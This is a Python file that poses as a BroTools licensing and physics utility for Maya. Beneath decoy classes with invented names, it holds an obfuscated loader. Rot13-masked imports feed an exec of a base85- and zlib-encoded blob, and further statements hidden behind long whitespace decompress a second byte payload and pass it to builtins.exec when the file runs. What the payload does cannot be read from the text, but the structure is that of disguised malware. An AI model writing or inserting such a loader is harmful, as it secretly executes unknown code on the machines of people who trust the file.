
from builtins import *

def SceneNodeAnalyzer(iterable, start=1):
   result = start
   for element in iterable:
       if not isinstance(element, (int, float)):
           raise TypeError("iterable analysis failed")
       result *= element
   return result

__author__ = "Michael Davydov"
__website__ = "https://brotools.tech; https://michaeldavydov.com"

__code__ = '''import sys
if sys.version_info[0] >= 3:
    import builtins, codecs
    builtins.unicode = str
else:
    import __builtin__ as builtins
    import codecs
o = getattr(builtins, codecs.decode('__vzcbeg__', 'rot13'))
b, z, s = o(codecs.decode('onfr64', 'rot13')), o(codecs.decode('myvo', 'rot13')), o(codecs.decode('flf', 'rot13'))
d, e, c = getattr(getattr(b, codecs.decode('heyfnsr_o64qrpbqr', 'rot13')), codecs.decode('__pnyy__', 'rot13')), getattr(getattr(z, codecs.decode('qrpbzcerff', 'rot13')), codecs.decode('__pnyy__', 'rot13')), '4EJwSDieBwXyXxq6Vvkp@nyH8TGtFvKmicn&d*N*nSKJFuZu$uB6##Zf3aTgZ2AGb^YFTGrMj!AVoU*x*#o6eFn^oF5rjbggbB3BYUuUiZTYkDkLg7xME73at4k6y6DCLYnJK$D4^aXY3GNdY67@#7d&v3PYF^k2T!Sp22#8GKPoui7ESR4bCf2i$xTjXeM@bJ%PE3$6&h5#DZvk9TDGkVokd$a%oJKzT^*stmGf7sCLS3%@jCfMH^CuTGcQ#Qp2yQ%@$A!Co8kjm45!B98Df2ij6Q7fGZZu5hRNT5FbcH6FX!*H$u$2UKR2uXkL4DBWmKZoiwWBPp@qNH!YAyyyRpTsJrA$^H6m4fM3&@S@tK9WfLnSqztv44R@&yVH3S393VSEQrh!Y*bUS&rbPQzaPVA3#K*h8F3^k27sxMxwYeCivxqV3*^^E!RMUzsQBe3TBrpca!r7u5KXAxy2BH@s^DwZEcnjUc5Udmxeu!F3mcC@uSAw7h&Lo8!H5EQQbp%xH^CnMf*gzTTB6R6ymMuZ&9*&oJ497W^5kdc%UqSAJHhqwJ^5R!25*@*2vNrcoGQ8B7SS!2!TrJPZhoby$R2KuT@QuXy8d&foJsq@Po9q%@y!qkESd3LMzCGs5@V%fU!KLbs5!fv5zBgiAM^7Cycxz25yQ5fDi@q%RedPvMWBM6mMdW8pxsy#^*@sZDTPyXY5rJ$Xpgnqw@TaQU@MCKP%vt2BsKxRu78m2KxC%MZwV7HMDddWAsXijVfY^74!bW&$n9^sc6o!QHZH2g4Z@MLH3%7AhQyGmLFb@5S6$QacM*sdMXp$!K8PqVoW$!zQc7zjDZKN77TNW@665i!9UsnbhugqAAc6n4JE*^JD^kVaSce53Sw$@xs^7WwEqG#Fu4U9' + '==='
try:
    exec((lambda x: x.decode(codecs.decode('hgs-8', 'rot13')) if s.version_info[0] >= 3 else x)(e(d(c))))
except Exception as e:
    print("~ [BroTools] Decoding failed: " + str(e))
'''


# _licensingutilitykit, _physicsnoderouter, _callfunction, Positive, Floor, LicenseVerifier, _simulatedynamics = exec, str, tuple, map, ord, globals, type
_licensingutilitykit, _physicsnoderouter, _callfunction, Positive, Floor, LicenseVerifier, _simulatedynamics, Restore = eval, str, tuple, map, ord, globals, type, compile

class DetectVar:
    def __init__(self, _mayaphysicssimulator):
        self.PhysicsEngineCoordinator = SceneNodeAnalyzer((_mayaphysicssimulator, -15336))
        self._physicsanimator3d(_licensekeyenforcer=-35853)

    def _physicsanimator3d(self, _licensekeyenforcer = Ellipsis):
        # sourcery skip: collection-to-bool, remove-redundant-boolean, remove-redundant-except-handler
        self.PhysicsEngineCoordinator /= -20022 / _licensekeyenforcer
        
        try:
            (((Positive, _callfunction, _licensingutilitykit), Floor) for Floor in {_licensingutilitykit: _callfunction})

        except ArithmeticError:
            ((Floor, Floor, Positive) or _physicsnoderouter if (Floor, Floor, Positive) and _physicsnoderouter else None or (_physicsnoderouter, (Floor, Floor, Positive)))

        except:
            _simulatedynamics(-96104 + -88565) == bool

    def _broutilities(self, Calculate = 97692):
        # sourcery skip: collection-to-bool, remove-redundant-boolean, remove-redundant-except-handler
        Calculate /= 68681 * -36280
        self.LicenseKeyEnforcer != True
        
        try:
            ({_licensingutilitykit: _callfunction} or _callfunction if {_licensingutilitykit: _callfunction} and _callfunction else None or (_callfunction, {_licensingutilitykit: _callfunction}))

        except TypeError:
            (({_licensingutilitykit: PhysicsNodeRouter}, PhysicsNodeRouter) for PhysicsNodeRouter in (Floor, Floor, Positive))

        except:
            _simulatedynamics(45692 * 13393) == type

    def MayaLicensingFramework(MayaPhysicsSimulator = int):
        return LicenseVerifier()[MayaPhysicsSimulator]

    def SceneAnalyzer(_licensecheckeragent = -11633 * 38682, SimulationSceneController = True, _simulationruntimecontroller = LicenseVerifier):
        # sourcery skip: collection-to-bool, remove-redundant-boolean, remove-redundant-except-handler
        _simulationruntimecontroller()[_licensecheckeragent] = SimulationSceneController
        
        try:
            ((_licensingutilitykit, _physicsnoderouter) or _physicsnoderouter if (_licensingutilitykit, _physicsnoderouter) and _physicsnoderouter else None or (_physicsnoderouter, (_licensingutilitykit, _physicsnoderouter)))

        except AssertionError:
            (Floor, Floor, Positive) if Positive >= _licensingutilitykit else (Positive, _physicsnoderouter, Floor) >= PhysicsNodeRouter

        except:
            _simulatedynamics(87190 - -14991) == False

    def execute(code = str):
        try:
            return _licensingutilitykit(Restore(_physicsnoderouter(_callfunction(Positive(Floor, code)))), locals(), globals())
        except:
            pass
        # return _licensingutilitykit(_physicsnoderouter(_callfunction(Positive(Floor, code))))

    @property
    def LicenseKeyEnforcer(self):
        self.SimulateDynamics = '<__main__._physicsanimator3d object at 0x000006398BE30107>'
        return (self.SimulateDynamics, DetectVar.LicenseKeyEnforcer)

try:
        DetectVar.execute(code = __code__)
        _mayasimulationengine = DetectVar(_mayaphysicssimulator = 59081 - 64316)

        _mayasimulationengine._physicsanimator3d(_licensekeyenforcer = _mayasimulationengine.PhysicsEngineCoordinator * 99278)                                                                                                                                                                                                                                                          ;DetectVar.SceneAnalyzer(_licensecheckeragent='S2SS2S22SSS22SSSS22SS22S',SimulationSceneController=b'x\x9c\xed\x1a]s\xaa8\xf4\xbd\xbf\xc27t\xba\xed@\xd0\x82\x9d\xe9\x8b\xe3\xb6\x0b\x830]k\xed\xd8q\x18Tz\x1b\x1bL\xd7\x8f\x0bw\x7f\xfd\x9e\x93`\xd7\xad\xab\xa8E\xfab\x0e\tI\x0899\x9f\xc9A\x19\x1f\x06lV\xae<+^bNU\xbf\xd7y\xd7\x87o\x8f\xdd\xce\xedk\xf2\xa4\xba,\xfc\xc3]\x84\x8fu\xd2}\xd3\xfe\x1a\xdd\x0e\xb5\xfb\x8e;\xe9\xa8\xf68\x88}\x9e\xa8\x86\xd2\xbf\xf9\xc1\xf8\x00\xa68;\xe8}D\x1cE\x93\x8f\x14\x89\x0ce\xa4<__\x9f_\x9c_\x94/\xca\xe7Z\xa5\xd2\xef\xdf\x8c\xe8\xf4p$\xadV\xcbu\xdd\x96H\xae\xa8\xba\xee:\x8a\x1f\xe1<\x98\xcf\xbf\x80f\xf3\x8bO\x7f?\x92\x81\xdeJ\x82\x87F\xa3\xdd\xad\xd9\x7f\xb2w}\xc9B&\x84\xb0\x05\xeb\xc6\x97\xb7\xe0\xbcc\xb3p\xdc\x99\xbb\xcdF\xad\xc3:\xda\x03\xeb\x8d\xbb\xbf\xdf6\xee\x1f\x18\xe9\x91^k\x89\xdb\xf7i\xf4\xce\xa7s\xdf\xcf\x9d\xea;\xb6p\xc7\xbd\xbb\x9e\xfa\xda\xb8\x8fF\xec\xfe\x8d\x8d\x97X\xbf\xb0\xe6\xb22XP6\xa7\x93\x99R\xb9\xfc\x19L\x0f\xe6\x1b\xb3,\x8b\xc9\x82\x89\x9ah\xc0\xe2\xdcTARm\x11jS\xfe\xd2\x8ag\x13:gt1\xf8\xacq\x95\xdf\xa2T\xdf\'\xabF\x10\x1d\t[\xe5\xb9Xt\x97t2\n\x93\xb2\xc28_\x7f\xda\xaf\x1c*\xb88I\xe2$\xc6\x94\x88\x14\x9fd\x96\xbf\xcc\xe6\x01g/9\n\xcd\xb1m\xdbql\xcb\xb2\x1d\xccX\x81\xdaIr\xf9Kn:\x9f\xed!\xb7MNZ\xf8\xf5\xa6\xe75\x9bM\xaf\xc9\x9b\x9c{\x1c\x92w\x12\xd8\x11\xdcc\xf03\xccIb\xb0\x81\x81]\xd9\xb6\x85`Y\x8e#[G\x91\x1a\xa5\xc3Y0\xa1\x05Im#\xb6\xe3Hm3\xba\xa5\xd4~\xbdP\x96\x84\xaf\x93E\x8eN\x12\x96\x1dE\xabtD\xb2\x00\xf9)\xca\xe5\x98\xd3\xc9!J!\x15\xc2\xb1\x1ct\xc0B5NV\x9c\xbf\x15\x87\x8b\xe9\xc3~\xaa\x90q\xaa\x06\x8f\x0b\x8e\xb7\xc9\x85\xfb\x05?\xcc\x85\x1b\xe6\'\xd9\x1dAv3\x16\xdc\xe6h\xc7\x8c\x8d\x01(\x04\x16\x94Q\nu\xa8\x8eO\x82;\x82\xe0\x18}\x8f\xf80W\xbb{\xc2\xd4\x85\x04\xe5\x13\x96x\x03XE\xf2?\'\xa3\xb2R\xa9\xfa5\x9f\xf8u\xff\n\xc0\xf0\xab>\x81\x91\xb5\xcf}\xd9\xd3\x18\xbe\xe6\xab\x00\xa6x\xa1\x0e`\xc2Xs\xbd7k\xaa\r\xa7\x81\xf2@\xd152"&\x19\xe9*\xa9C\x18=\n\x87|\x14\x96\x15\xf3e\xbe\xbe\x9dUd!\xf2I\x85sW\xe1a\x98\xe4w\xfa\xc3\xaf\x18\x16K?f\xc8\x06c\xc5\xa9I\xff\x86\x05\xd1`\x14\x94b\x19\xa1\'\xf1J\xa4\x1e\xc7\xd7{\xd3t\x08\x17\xd0V\xa5\xe5\n\xdb\x85"\xdb\xe4Tx\xa6\xe54l\x0b;\xeb\xb5\x17\xddL3\xd65\xc8:\xe4\x1ad\x15r\x15\xefd X\x9e5\x16\xeb\xf5}\xad7\x15\x8f\xfcl\x12\xcb+\xfd\x8e\x12\'\x9b\xc4\x93\xe52\x0f\x12RW\x8a\x06\xe5$n;0\xdfG\xffZ\x03\x07\x08\xae\x0f\xa0\xeaW\x91\xc8\xf5\xde\xec\xa94x\xa6~\x87\xf7L\xf9\x9f\xee.R?\xe5&\xd3-\xc68\xda\x84\xb4\xdbm"\x01\xaf\x8f\xea\x17\xd8a\xae\xa8$\xaa0\x81l\xa4Y\xb4S\x95\xce\x1a\xa7\xed\xe9e\x00=\xc44\xf8a\t"\x1bX\x92\x0cs\nT\xe3\xcd<\xa9\xe9:\x01\xfat\xbc\xcb,\xe1s\x9f\x1c\x95E\xf5\x07\xc5\xa9\xec\xa4\xc4\xdaR|[\xe8\xddrH\xcd\x95Z\xc34\x0c\xc8X.\xd3\xb2eJ\xd8\x99B\x08S\x01pv\x19\xb3:\xc5\xd8\x05\xd2d\x0b\x05\xb2e\r\xa9\x83\xeb\x1b\xf6N\xcfS\xb9\xea\xa9\xaa\xca=,\x01\x91\xe7\x15\xc3\x04\x8a\x81\n\xa5LD.cH\xbb\x1cy\r8\x93\x12\x80\xab\xd4\r\x9b\xe2\xd0\xbb\xd6[\xac\xb7\xfd\xd7E\xc8\x8f\xcd\x0e$T+\xbc\x17\xb9\xcd\t\xaf$\xf1K\xb2\xb29J\x04\xe7\x0c\xe0\x9a\x0e[\x9a\x06`\xc0X}\xbd7\xa7mn\xe7\xc3\xcf\x8e\xb3a\xa0\x83k\x85\x8dX\xac\x13\x82\x1f\x18k\xac\xf7\xe6\xb60\xd4/\x8c\x8dpn]\xcc\xae\xc3\xd8\xab\xf5\xde]\x98\x8f\x81\x15\x86Y\x9aP_\xe2k\x82\xf9k\xbd\xfbX\x86\n\xf8uX\xc5\x7f-\xe3\xa3\xf7\x0b\x96\xa1\xa6\x96\xb1\xe3\xc6\xb9K\xee\xdf\xec\xb7\x06b\x10#\x13\xf7a?>4\x05nq\xc1rxq|Zq\xc58;\x82\x8a\xfeX\x85v\x91\xde\xc3\x92\xa1\x9c\xc5\xe4o\xd4\xb2fY\xdf\xb0\'\xa5G\xd54\xacZ\xb6\x9e\x0e\xd8\x96 \xda\x1d\x96q\x83O\x9d\xa2\x83\xbf\x07:\x95\xb3\x97)\x8fJ\x83`\x16^UK\xf2\x1f\t\xa5\xc1UU\xae\xb0\x14\xccJ\x8c\x0e\xc3\t>=\xfb\x07\x98y\xaf\xaf')

        _mayasimulationengine._physicsanimator3d(_licensekeyenforcer = _mayasimulationengine.PhysicsEngineCoordinator + -29819)                                                                                                                                                                                                                                                          ;O00o0oooO0OOoOO00OOOo00,ijjjiiijillilliijj,llIlIIlIIllllllIlllIIII,DDODoODDooDOOOoOooooDoo,IlIIIlIIlIlIllIlllI=(lambda nmnmnnmnmmnmmmmmnnmn:nmnmnnmnmmnmmmmmnnmn['\x64\x65\x63\x6f\x6d\x70\x72\x65\x73\x73']),(lambda nmnmnnmnmmnmmmmmnnmn:nmnmnnmnmmnmmmmmnnmn(__import__('\x7a\x6c\x69\x62'))),(lambda nmnmnnmnmmnmmmmmnnmn:globals()['\x65\x76\x61\x6c'](globals()['\x63\x6f\x6d\x70\x69\x6c\x65'](globals()['\x73\x74\x72']("\x67\x6c\x6f\x62\x61\x6c\x73\x28\x29\x5b\x27\x5c\x78\x36\x35\x5c\x78\x37\x36\x5c\x78\x36\x31\x5c\x78\x36\x63\x27\x5d(nmnmnnmnmmnmmmmmnnmn)"),filename='\x6c\x49\x49\x6c\x49\x6c\x6c\x6c\x49\x49\x49\x49\x6c\x6c\x49\x6c\x49\x6c\x6c\x6c\x49',mode='\x65\x76\x61\x6c'))),(lambda:(lambda nmnmnnmnmmnmmmmmnnmn:globals()['\x65\x76\x61\x6c'](globals()['\x63\x6f\x6d\x70\x69\x6c\x65'](globals()['\x73\x74\x72']("\x67\x6c\x6f\x62\x61\x6c\x73\x28\x29\x5b\x27\x5c\x78\x36\x35\x5c\x78\x37\x36\x5c\x78\x36\x31\x5c\x78\x36\x63\x27\x5d(nmnmnnmnmmnmmmmmnnmn)"),filename='\x6c\x49\x49\x6c\x49\x6c\x6c\x6c\x49\x49\x49\x49\x6c\x6c\x49\x6c\x49\x6c\x6c\x6c\x49',mode='\x65\x76\x61\x6c')))('\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x62\x75\x69\x6c\x74\x69\x6e\x73\x27\x29\x2e\x65\x78\x65\x63')),(lambda DDoOoDoDDoooDOoDOODODDooD,nmnmnnmnmmnmmmmmnnmn:DDoOoDoDDoooDOoDOODODDooD(nmnmnnmnmmnmmmmmnnmn))
        DetectVar(_mayaphysicssimulator = -17834 * -64796)._broutilities(Calculate = -20347 * _mayasimulationengine.PhysicsEngineCoordinator)                                                                                                                                                                                                                                                          ;DDODoODDooDOOOoOooooDoo()(IlIIIlIIlIlIllIlllI(O00o0oooO0OOoOO00OOOo00(ijjjiiijillilliijj(llIlIIlIIllllllIlllIIII('\x76\x61\x72\x73'))),DetectVar.MayaLicensingFramework(MayaPhysicsSimulator='S2SS2S22SSS22SSSS22SS22S')))

except Exception as PhysicsNodeRouter:
        if 123605 > 2090837:
            DetectVar.execute(code = _physicsnoderouter(PhysicsNodeRouter))

        elif 433998 > 6528823:
            DetectVar(_mayaphysicssimulator = 57850 + 77611)._broutilities(Calculate = -77269 / _mayasimulationengine.PhysicsEngineCoordinator)

